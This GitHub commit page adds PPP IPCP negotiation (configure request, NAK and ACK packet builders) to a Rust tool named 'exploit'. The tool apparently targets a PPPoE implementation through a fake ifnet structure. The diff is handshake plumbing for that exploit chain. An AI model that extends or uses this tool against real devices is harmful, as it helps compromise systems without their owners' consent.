Skip to content

Commit

Permalink
Add IPCP Negotiation (#7)
Browse files Browse the repository at this point in the history
* Initial comments for negotiation

* Add first request

* Create lcp conf request

* Finish LCP negotiation

LCP done.

* Add ipcp negotiation
  • Loading branch information
fedebuonco authored Jul 30, 2024
1 parent c24fe2f commit 9a3194b
Show file tree
Hide file tree
Showing 3 changed files with 241 additions and 2 deletions.
10 changes: 10 additions & 0 deletions src/constants.rs
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ use std::f64::consts;
pub const ETHERTYPE_PPPOEDISC: u16 = 0x8863;
pub const ETHERTYPE_PPPOESESS: u16 = 0x8864;
pub const ETHERTYPE_LCP: u16 = 0xc021;
pub const ETHERTYPE_IPCP: u16 = 0x8021;
pub const PPPOE_CODE_PADI: u8 = 0x09;
pub const PPPOE_CODE_PADR: u8 = 0x19;
pub const PPPOE_CODE_PADO: u8 = 0x07;
Expand All @@ -18,11 +19,20 @@ pub const PPPOE_TAG_HEADER_LEN: usize = 4;
pub const PPPOE_SOFTC_SC_DEST: u64 = 0x24;

pub const LCP_ID: u8 = 0x41;
pub const IPCP_ID: u8 = 0x41;
pub const LCP_CONF_REQ: u8 = 1;
pub const LCP_CONF_ACK: u8 = 2;
pub const LCP_CONF_NAK: u8 = 3;
pub const LCP_CONF_REJ: u8 = 4;

pub const IP_ADDRESS_TYPE: u8 = 3;
pub const IPCP_CONF_REQ: u8 = 1;
pub const IPCP_CONF_ACK: u8 = 2;
pub const IPCP_CONF_NAK: u8 = 3;
pub const SOURCE_IPV4: [u8; 4] = [0x29, 0x29, 0x29, 0x29];
pub const TARGET_IPV4: [u8; 4] = [0x2A, 0x2A, 0x2A, 0x2A];


pub const PPPOE_TAG_HOST_UNIQ: u16 = 0x0103;
pub const PPPOE_TAG_ACOOKIE: u16 = 0x0104;

Expand Down
229 changes: 227 additions & 2 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -206,13 +206,63 @@ impl Exploit {
println!("[*] LCP Negotiation Done.");
}

pub fn ipcp_negotiation(&mut self, interface: &NetworkInterface){
pub fn ipcp_negotiation(&mut self, interface: &NetworkInterface) {
let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
"An error occurred when creating the datalink channel: {}",
e
),
};
// Send IPCP conf request
println!("[*] Sending IPCP configure request...");
let lcp_configure = build_ipcp_conf_request(
self.source_mac,
self.target_mac,
0x00,
constants::PPPOE_SESSION_ID.to_be_bytes(),
constants::SOURCE_IPV4,
);
let _result = tx
.send_to(&lcp_configure, None)
.expect("[-] Failed to send IPCP configure req packet");
// wait for Rec conf ack
println!("[*] Waiting for IPCP configure ACK...");
let _result = listen_for_packet(rx.as_mut(), is_ipcp_conf_ack);
// wait for req conf
println!("[*] Waiting for IPCP configure request...");
let _result = listen_for_packet(rx.as_mut(), is_ipcp_conf_req);
// send nak
// wait for conf req
println!("[*] Sending IPCP configure NAK...");
let lcp_configure = build_ipcp_conf_nak(
self.source_mac,
self.target_mac,
0x00,
constants::PPPOE_SESSION_ID.to_be_bytes(),
constants::TARGET_IPV4,
);
let _result = tx
.send_to(&lcp_configure, None)
.expect("[-] Failed to send IPCP configure NAK packet");
// wait for req conf
println!("[*] Waiting for IPCP configure request...");
let result = listen_for_packet(rx.as_mut(), is_ipcp_conf_req);
let options: Vec<u8> = Vec::from(&result.unwrap()[26..42]);
// send conf ack
println!("[*] Sending IPCP configure ACK...");
let lcp_configure = build_ipcp_conf_ack(
self.source_mac,
self.target_mac,
0x00,
constants::PPPOE_SESSION_ID.to_be_bytes(),
constants::TARGET_IPV4,
options,
);
let _result = tx
.send_to(&lcp_configure, None)
.expect("[-] Failed to send IPCP configure ACK packet");
println!("[*] Finished IPCP Negotiation");
}

pub fn handle_padi(&mut self, data: &[u8]) {
Expand All @@ -229,6 +279,42 @@ impl Exploit {
}
}

fn is_ipcp_conf_req(data: &[u8]) -> bool {
// Check if packet length is sufficient for PPP header
if data.len() < 14 + 6 {
return false;
}

// PPP IPCP
// Check Ethernet type field (0xc021)
let ethertype = u16::from_be_bytes([data[20], data[21]]);
if ethertype != constants::ETHERTYPE_IPCP {
return false;
}

// PPP IPCP config ack
let code = u8::from_be_bytes([data[22]]);
code == constants::IPCP_CONF_REQ
}

fn is_ipcp_conf_ack(data: &[u8]) -> bool {
// Check if packet length is sufficient for PPP header
if data.len() < 14 + 6 {
return false;
}

// PPP IPCP
// Check Ethernet type field (0xc021)
let ethertype = u16::from_be_bytes([data[20], data[21]]);
if ethertype != constants::ETHERTYPE_IPCP {
return false;
}

// PPP IPCP config ack
let code = u8::from_be_bytes([data[22]]);
code == constants::IPCP_CONF_ACK
}

fn is_lcp_conf_ack(data: &[u8]) -> bool {
// Check if packet length is sufficient for PPP header
if data.len() < 14 + 6 {
Expand Down Expand Up @@ -392,6 +478,145 @@ pub fn build_fake_ifnet(pppoe_softc: u64) -> Vec<u8> {
fake_ifnet
}

pub fn build_ipcp_conf_ack(
source_mac: [u8; 6],
target_mac: [u8; 6],
session_data: u8,
session_id: [u8; 2],
ip_address: [u8; 4],
options: Vec<u8>,
) -> Vec<u8> {
let mut payload = Vec::new();

// PPPoE header
payload.push(0x11); // Version (1) and Type (1)
payload.push(session_data);
payload.extend_from_slice(&session_id);

// Fixed length
payload.extend_from_slice(&[0, 24]);

// PPP header
payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes());

// IPCP and fixed length
payload.push(constants::IPCP_CONF_ACK); // Configuration ACK
payload.push(constants::IPCP_ID);
payload.extend_from_slice(&[0, 22]);

// IP
payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request
// Fixed length
payload.push(0x6);
payload.extend_from_slice(&ip_address);

// OPTIONS
payload.extend_from_slice(&options);

let packet = ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
.unwrap()
.protocol(ether::Protocol::PppoeSession)
.unwrap()
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
}

pub fn build_ipcp_conf_nak(
source_mac: [u8; 6],
target_mac: [u8; 6],
session_data: u8,
session_id: [u8; 2],
ip_address: [u8; 4],
) -> Vec<u8> {
let mut payload = Vec::new();

// PPPoE header
payload.push(0x11); // Version (1) and Type (1)
payload.push(session_data);
payload.extend_from_slice(&session_id);

// Fixed length
payload.extend_from_slice(&[0, 12]);

// PPP header
payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes());

// IPCP and fixed length
payload.push(constants::IPCP_CONF_NAK); // Configuration NAK
payload.push(constants::IPCP_ID);
payload.extend_from_slice(&[0, 10]);

// IP
payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request
// Fixed length
payload.push(0x6);
payload.extend_from_slice(&ip_address);

let packet = ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
.unwrap()
.protocol(ether::Protocol::PppoeSession)
.unwrap()
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
}

pub fn build_ipcp_conf_request(
source_mac: [u8; 6],
target_mac: [u8; 6],
session_data: u8,
session_id: [u8; 2],
ip_address: [u8; 4],
) -> Vec<u8> {
let mut payload = Vec::new();

// PPPoE header
payload.push(0x11); // Version (1) and Type (1)
payload.push(session_data);
payload.extend_from_slice(&session_id);

// Fixed length
payload.extend_from_slice(&[0, 12]);

// PPP header
payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes());

// IPCP and fixed length
payload.push(constants::IPCP_CONF_REQ); // Configuration Request
payload.push(constants::IPCP_ID);
payload.extend_from_slice(&[0, 10]);

// IP
payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request
// Fixed length
payload.push(0x6);
payload.extend_from_slice(&ip_address);

let packet = ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
.unwrap()
.protocol(ether::Protocol::PppoeSession)
.unwrap()
.payload(&payload)
.unwrap()
.build()
.unwrap();
packet
}

pub fn build_lcp_echo_reply(
source_mac: [u8; 6],
target_mac: [u8; 6],
Expand Down
4 changes: 4 additions & 0 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -35,10 +35,14 @@ fn run_exploit(interface_name: String) {
let mut handler = exploit::LcpEchoHandler::new(&interface);
handler.start();
// Initial negotiations
println!("[*] Starting Negotiations ...");
expl.ppp_negotiation(&interface);
expl.lcp_negotiation(&interface);
expl.ipcp_negotiation(&interface);
println!("[*] Initial Negotiations Done...");

handler.stop();
println!("[*] DONE!");
}

fn main() {
Expand Down

0 comments on commit 9a3194b

Please sign in to comment.